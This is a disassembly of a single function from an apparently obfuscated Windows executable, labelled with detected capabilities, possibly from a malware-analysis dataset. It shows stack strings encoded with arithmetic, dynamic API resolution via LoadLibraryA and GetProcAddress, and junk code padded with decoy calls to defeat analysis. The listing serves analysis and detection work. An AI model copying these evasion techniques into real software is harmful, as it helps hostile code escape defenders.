Function at 0x401e85
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Contain obfuscated stackstrings

Disassembly:
mov dword [0x421437], 0x94
push 0x421437
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [0x421447], 1
jne 0x401eae
mov dword [0x42185f], 0
jmp 0x401f24
cmp dword [0x421447], 2
jne 0x401eee
cmp dword [0x42143b], 4
jne 0x401eee
cmp dword [0x42143f], 0
jne 0x401eee
pushfd
push ebx
sar ebx, 0x10
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
fpatan
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov dword [0x42185f], 1
jmp 0x401f24
cmp dword [0x421447], 2
jne 0x401f24
cmp dword [0x42143b], 4
jbe 0x401f24
pushfd
push esi
sar esi, 0x1e
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
paddw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov dword [0x42185f], 2
mov edi, esp
push 0
push 0x6c6c642e
push 0x941b6c64
sub dword [esp], 0x61e7ffff
push ebx
mov dword [esp], 0x2e2656c
add dword [esp], 0x6b8fffff
push esp
call sub.KERNEL32.DLL_GetModuleHandleA
mov esi, eax
pushfd
push eax
bts eax, 0x11
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pandn mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0x60116577
sub dword [esp], 0x5fadffff
push eax
mov dword [esp], 0xa8c26958
push edx
mov edx, esp
add edx, 4
add dword [edx], 0x9cabffff
pop edx
push esp
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4218ff], eax
mov esp, edi
mov ebx, sub.KERNEL32.DLL_GetProcAddress
pushfd
push eax
btc eax, 0x1f
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ecx
push ecx
pushfd
cmovp ecx, ecx
popfd
pop ecx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov edi, sub.KERNEL32.DLL_LoadLibraryA
mov esi, esp
push 0
push 0x6c6c642e
push 0xfbe1ffff
mov dword [esp], 0xc9d2968f
xor dword [esp], 0xfbe1ffff
pushfd
push esi
bt esi, 4
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
paddw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0x2847ffff
mov dword [esp], 0x49319b9e
xor dword [esp], 0x2847ffff
push esp
call edi
mov dword [0x421853], eax
mov esp, esi
pushfd
push esi
ror esi, 0xd
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fpatan
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push esi
mov dword [esp], 0xdaac4171
push esi
mov esi, esp
add esi, 4
sub dword [esi], 0xdaabffff
pop esi
pushfd
push edx
rcl edx, 3
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
psrad mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push eax
mov dword [esp], 0x6bd7616f
push edx
mov edx, esp
add edx, 4
add dword [edx], 0xf98fffff
pop edx
push esi
mov dword [esp], 0xa3b54352
push edx
mov edx, esp
add edx, 4
sub dword [edx], 0x4267ffff
pop edx
push ecx
mov dword [esp], 0x771704e
push ebx
mov ebx, esp
add ebx, 4
sub dword [ebx], 0x990bffff
pop ebx
pushfd
push eax
rol eax, 0x14
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
push eax
pushfd
cmove edx, eax
popfd
pop eax
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push esp
pushfd
push eax
sar eax, 0xc
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
wait
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push dword [0x421853]
call ebx
mov dword [0x4217af], eax
pushfd
push esi
rol esi, 0xa
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
setp cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
mov esp, esi
pushfd
push ecx
rcr ecx, 5
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ecx
setno cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push 0xb444164
sub dword [esp], 0xb43ffff
pushfd
push eax
shl eax, 0x16
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
paddusb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push eax
mov dword [esp], 0xf657673
push edx
mov edx, esp
add edx, 4
add dword [edx], 0x5403ffff
pop edx
push ecx
mov dword [esp], 0xa1036573
push ebx
mov ebx, esp
add ebx, 4
sub dword [ebx], 0x3bafffff
pop ebx
push eax
mov dword [esp], 0xb43d7244
push edx
mov edx, esp
add edx, 4
add dword [edx], 0xad27ffff
pop edx
pushfd
push ebx
shl ebx, 0x1d
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push esp
push dword [0x421853]
pushfd
push ecx
bt ecx, 0xe
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ebx
setne bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
call ebx
pushfd
push ecx
shl ecx, 0xf
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
psllw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov dword [0x4217b3], eax
pushfd
push edx
rcl edx, 3
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
f2xm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov esp, esi
push 0
pushfd
push edx
sar edx, 0x14
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fsincos
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0xd88b6368
sub dword [esp], 0x9725ffff
pushfd
push ebx
shl ebx, 5
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push eax
setne al
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push 0x3e266552
sub dword [esp], 0xc7b3ffff
pushfd
push ecx
bt ecx, 0x1b
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pavgb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push ebx
mov dword [esp], 0x591f7050
add dword [esp], 0x1545ffff
push esp
pushfd
push eax
rcl eax, 0xf
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pmaxsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push dword [0x421853]
pushfd
push esi
btr esi, 0xb
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
call ebx
mov dword [0x4217b7], eax
mov esp, esi
pushfd
push eax
shl eax, 0x10
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ecx
setb cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ecx
mov dword [esp], 0xec220040
push esi
mov esi, esp
add esi, 4
sub dword [esi], 0xec21ffff
pop esi
push 0x77196975
sub dword [esp], 0x11b5ffff
pushfd
push esi
shl esi, 0x1f
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push 0x7bdfffff
mov dword [esp], 0x9baac8b
xor dword [esp], 0x7bdfffff
push esi
mov dword [esp], 0xa5657452
push ebx
mov ebx, esp
add ebx, 4
sub dword [ebx], 0x3303ffff
pop ebx
pushfd
push eax
bts eax, 0x1b
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push eax
setb al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push esp
push dword [0x421853]
call ebx
mov dword [0x4217bb], eax
mov esp, esi
push 0xf1ffff
mov dword [esp], 0xf18c8a
xor dword [esp], 0xf1ffff
pushfd
push eax
shl eax, 0x1c
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push eax
mov dword [esp], 0x95397454
push edx
mov edx, esp
add edx, 4
add dword [edx], 0xdf27ffff
pop edx
pushfd
push ebx
shl ebx, 0x1f
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
paddd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push eax
mov dword [esp], 0x5a256977
push edx
mov edx, esp
add edx, 4
add dword [edx], 0xb3dffff
pop edx
pushfd
push eax
shl eax, 2
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
fxch st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push edx
mov dword [esp], 0xe12d537a
add dword [esp], 0x9137ffff
pushfd
push ebx
btc ebx, 0x12
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push eax
push eax
pushfd
cmovb eax, eax
popfd
pop eax
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0xc135ffff
mov dword [esp], 0xb3508aae
xor dword [esp], 0xc135ffff
pushfd
push eax
rcr eax, 0xf
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ecx
sets cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esp
pushfd
push ecx
bts ecx, 0xa
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esi
push eax
pushfd
test eax, esi
popfd
pop eax
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push dword [0x421853]
pushfd
push esi
btr esi, 0x1f
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x40249a
call ebx
pushfd
push ecx
btc ecx, 0x12
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
fptan
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov dword [0x4217bf], eax
pushfd
push esi
shl esi, 0xb
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
push esi
pushfd
imul ecx, esi
popfd
pop esi
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov esp, esi
push eax
mov dword [esp], 0x63ba6564
add dword [esp], 0x9c45ffff
pushfd
push esi
rcr esi, 0x1e
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
psubusb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0x2ccfffff
mov dword [esp], 0x45b98d9a
xor dword [esp], 0x2ccfffff
pushfd
push ecx
shl ecx, 8
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fsin
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push eax
mov dword [esp], 0x3e6a6f73
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x1501ffff
pop eax
push 0xabebffff
mov dword [esp], 0xdf8590bc
xor dword [esp], 0xabebffff
pushfd
push ecx
bt ecx, 7
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
psrad mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push esp
push dword [0x421853]
call ebx
mov dword [0x4217c3], eax
mov esp, esi
pushfd
push edx
btc edx, 0xe
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ecx
push edx
pushfd
cmovge ecx, edx
popfd
pop edx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0
pushfd
push esi
btc esi, 0xc
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
movq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push ebx
mov dword [esp], 0x70f16967
add dword [esp], 0xd075ffff
push eax
mov dword [esp], 0x41214366
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x2d4dffff
pop eax
push eax
mov dword [esp], 0x795b7673
push eax
mov eax, esp
add eax, 4
add dword [eax], 0xea0dffff
pop eax
pushfd
push ecx
shl ecx, 0x1d
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pand mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push ecx
mov dword [esp], 0x74216568
add dword [esp], 0xf131ffff
pushfd
push eax
rcl eax, 0x12
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
psrlq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push ecx
mov dword [esp], 0x1d116844
add dword [esp], 0x514fffff
push esp
pushfd
push ecx
shl ecx, 0xf
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x40267c
push dword [0x421853]
pushfd
push eax
rcl eax, 0x1f
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x4026b0
call ebx
mov dword [0x4217c7], eax
pushfd
push ecx
btc ecx, 6
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push eax
setnp al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
mov esp, esi
push 0xc106656b
sub dword [esp], 0xc105ffff
push eax
mov dword [esp], 0xf9fe6149
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x6a6fffff
pop eax
pushfd
push eax
sar eax, 4
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push eax
setne al
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push 0x2f796975
sub dword [esp], 0xca15ffff
pushfd
push esi
bt esi, 0x18
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push edx
mov dword [esp], 0xc9c75364
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0x5761ffff
pop ecx
push 0x7de16c42
sub dword [esp], 0xa71ffff
pushfd
push ebx
rcr ebx, 0x15
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x402787
push esp
push dword [0x421853]
call ebx
pushfd
push esi
shl esi, 0x13
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x4027be
mov dword [0x4217cb], eax
pushfd
push eax
rol eax, 0x14
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
punpckhdq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov esp, esi
pushfd
push ecx
btc ecx, 0x1b
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pcmpgtb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0
push 0x6c6c642e
pushfd
push edx
rcr edx, 0xd
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ebx
setge bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push 0xf4796c64
sub dword [esp], 0xc245ffff
pushfd
push edx
btc edx, 0xd
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push eax
setbe al
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push 0x77e3ffff
mov dword [esp], 0x19919a94
xor dword [esp], 0x77e3ffff
pushfd
push eax
rcl eax, 5
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
push ebx
pushfd
cmovae ecx, ebx
popfd
pop ebx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push esp
call edi
pushfd
push ecx
shl ecx, 0x17
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x4028aa
mov dword [0x421853], eax
pushfd
push eax
btr eax, 0x1a
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esi
push edx
pushfd
cmovb esi, edx
popfd
pop edx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov esp, esi
pushfd
push ecx
btc ecx, 0x1d
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push eax
mov dword [esp], 0xe4347372
push esi
mov esi, esp
add esi, 4
sub dword [esi], 0xe433ffff
pop esi
push 0x8d4bffff
mov dword [esp], 0xe828908d
xor dword [esp], 0x8d4bffff
push eax
mov dword [esp], 0x625b636a
push eax
mov eax, esp
add eax, 4
add dword [eax], 0xee09ffff
pop eax
pushfd
push ecx
btr ecx, 7
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pminub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push eax
mov dword [esp], 0x9bf06554
push edx
mov edx, esp
add edx, 4
add dword [edx], 0xda81ffff
pop edx
pushfd
push ecx
rol ecx, 0xf
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
paddsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push eax
mov dword [esp], 0xf3197474
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x7f4bffff
pop eax
push eax
mov dword [esp], 0xb78f6553
push ecx
mov ecx, esp
add ecx, 4
add dword [ecx], 0xb1d7ffff
pop ecx
pushfd
push ebx
btc ebx, 0x10
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push ecx
setno cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esp
pushfd
push eax
rol eax, 0x1b
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x4029e8
push dword [0x421853]
call ebx
pushfd
push edx
shl edx, 0xd
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
psubusw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov dword [0x4217cf], eax
mov esp, esi
push eax
mov dword [esp], 0x36564172
push edx
mov edx, esp
add edx, 4
sub dword [edx], 0x3655ffff
pop edx
pushfd
push esi
shl esi, 3
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push esi
push ecx
pushfd
cmovl esi, ecx
popfd
pop ecx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push 0xb3d3636e
sub dword [esp], 0x406dffff
pushfd
push eax
bt eax, 8
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x402a80
push ecx
mov dword [esp], 0x83306575
add dword [esp], 0xef1fffff
pushfd
push edx
btr edx, 3
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
fyl2x
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push eax
mov dword [esp], 0xf4c57244
push esi
mov esi, esp
add esi, 4
add dword [esi], 0x6c9fffff
pop esi
pushfd
push eax
shl eax, 0x13
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
punpckhwd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push esp
pushfd
push eax
rcl eax, 0xe
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x402b06
push dword [0x421853]
call ebx
mov dword [0x421134], eax
mov esp, esi
pushfd
push ecx
shl ecx, 0x10
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x402b43
push 0
push ecx
mov dword [esp], 0x751d6c65
add dword [esp], 0xcc47ffff
push edx
mov dword [esp], 0x5aab4864
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0xec49ffff
pop ecx
push ecx
mov dword [esp], 0x7729646e
push eax
mov eax, esp
add eax, 4
sub dword [eax], 0xab3ffff
pop eax
pushfd
push eax
shl eax, 8
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
punpckhdq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0x40fc6546
sub dword [esp], 0xf387ffff
push esp
push dword [0x421853]
call ebx
pushfd
push eax
rcl eax, 0xb
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pmaddwd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov dword [0x421138], eax
pushfd
push esi
shl esi, 0x13
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push eax
push eax
pushfd
cmovae eax, eax
popfd
pop eax
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov esp, esi
pushfd
push ecx
rcr ecx, 0x1c
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fsqrt
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push eax
mov dword [esp], 0xe7347846
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0x18cbffff
pop ebx
push 0x203bffff
mov dword [esp], 0x43549393
xor dword [esp], 0x203bffff
push eax
mov dword [esp], 0xf0386176
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0x5133ffff
pop ebx
push ebx
mov dword [esp], 0x98946957
add dword [esp], 0xdbddffff
pushfd
push ebx
sar ebx, 0x17
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x402c80
push esp
pushfd
push eax
btr eax, 0xe
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pminsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push dword [0x421853]
call ebx
mov dword [0x42113c], eax
mov esp, esi
pushfd
push ecx
rol ecx, 6
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push eax
setl al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push 0x56587971
sub dword [esp], 0x5657ffff
push 0x86a7ffff
mov dword [esp], 0xe9ca9ab2
xor dword [esp], 0x86a7ffff
push 0x7257ffff
mov dword [esp], 0x1249a9c
xor dword [esp], 0x7257ffff
push 0x41c9ffff
mov dword [esp], 0x2ebbaf9a
xor dword [esp], 0x41c9ffff
push eax
mov dword [esp], 0x48537256
push edx
mov edx, esp
add edx, 4
sub dword [edx], 0xd3e9ffff
pop edx
push esp
push dword [0x421853]
call ebx
pushfd
push edx
rcl edx, 0x17
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov dword [0x421140], eax
mov esp, esi
push 0
pushfd
push esi
ror esi, 3
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push eax
setb al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
mov dword [esp], 0xe7fa6575
add dword [esp], 0x8c7dffff
push eax
mov dword [esp], 0x849d4365
push eax
mov eax, esp
add eax, 4
add dword [eax], 0xe9d1ffff
pop eax
pushfd
push edx
sar edx, 0x15
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push eax
mov dword [esp], 0x993f7269
push ecx
mov ecx, esp
add ecx, 4
add dword [ecx], 0xc825ffff
pop ecx
push eax
mov dword [esp], 0xade6548
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0x4995ffff
pop ebx
pushfd
push eax
shl eax, 0x1f
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esi
push ebx
pushfd
cmova esi, ebx
popfd
pop ebx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push esp
push dword [0x421853]
pushfd
push esi
btr esi, 0x1b
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
push eax
pushfd
cmovl ebx, eax
popfd
pop eax
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
call ebx
mov dword [0x421144], eax
pushfd
push edx
btr edx, 8
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
push esi
pushfd
cmovne ecx, esi
popfd
pop esi
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov esp, esi
pushfd
push ecx
shl ecx, 0x19
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ebx
setg bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push 0
pushfd
push eax
ror eax, 0x1a
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pminsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push eax
mov dword [esp], 0xd7066575
add dword [esp], 0x9d71ffff
push eax
mov dword [esp], 0x1a114365
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0x545dffff
pop ebx
push edx
mov dword [esp], 0xeccf7267
push eax
mov eax, esp
add eax, 4
sub dword [eax], 0x8b69ffff
pop eax
push 0xdd73ffff
mov dword [esp], 0x89079aac
xor dword [esp], 0xdd73ffff
push esp
push dword [0x421853]
pushfd
push ecx
ror ecx, 4
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x402eef
call ebx
pushfd
push ecx
sar ecx, 4
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
psrlq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov dword [0x421148], eax
pushfd
push edx
btr edx, 0x16
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
fsin
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov esp, esi
pushfd
push eax
rcl eax, 0xa
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push 0
push 0x803f6571
sub dword [esp], 0x1bddffff
push 0x196a656c
sub dword [esp], 0xb115ffff
pushfd
push esi
btc esi, 0x13
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x402f83
push 0x78ab6551
sub dword [esp], 0x337ffff
pushfd
push eax
rcl eax, 0x1e
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ebx
seta bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esp
pushfd
push ecx
sar ecx, 0xf
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ebx
push ecx
pushfd
cmp ebx, ecx
popfd
pop ecx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push dword [0x421853]
call ebx
mov dword [0x42114c], eax
pushfd
push ecx
rcl ecx, 2
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
call fcn.004030f0
pop ecx
jmp 0x403005
mov esp, esi
pushfd
push edx
shl edx, 0x17
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esi
push esi
pushfd
cmovbe esi, esi
popfd
pop esi
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
cmp dword [0x42185f], 0
pushfd
push esi
shl esi, 6
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
paddw mm0, mm1
pushal
pushfd
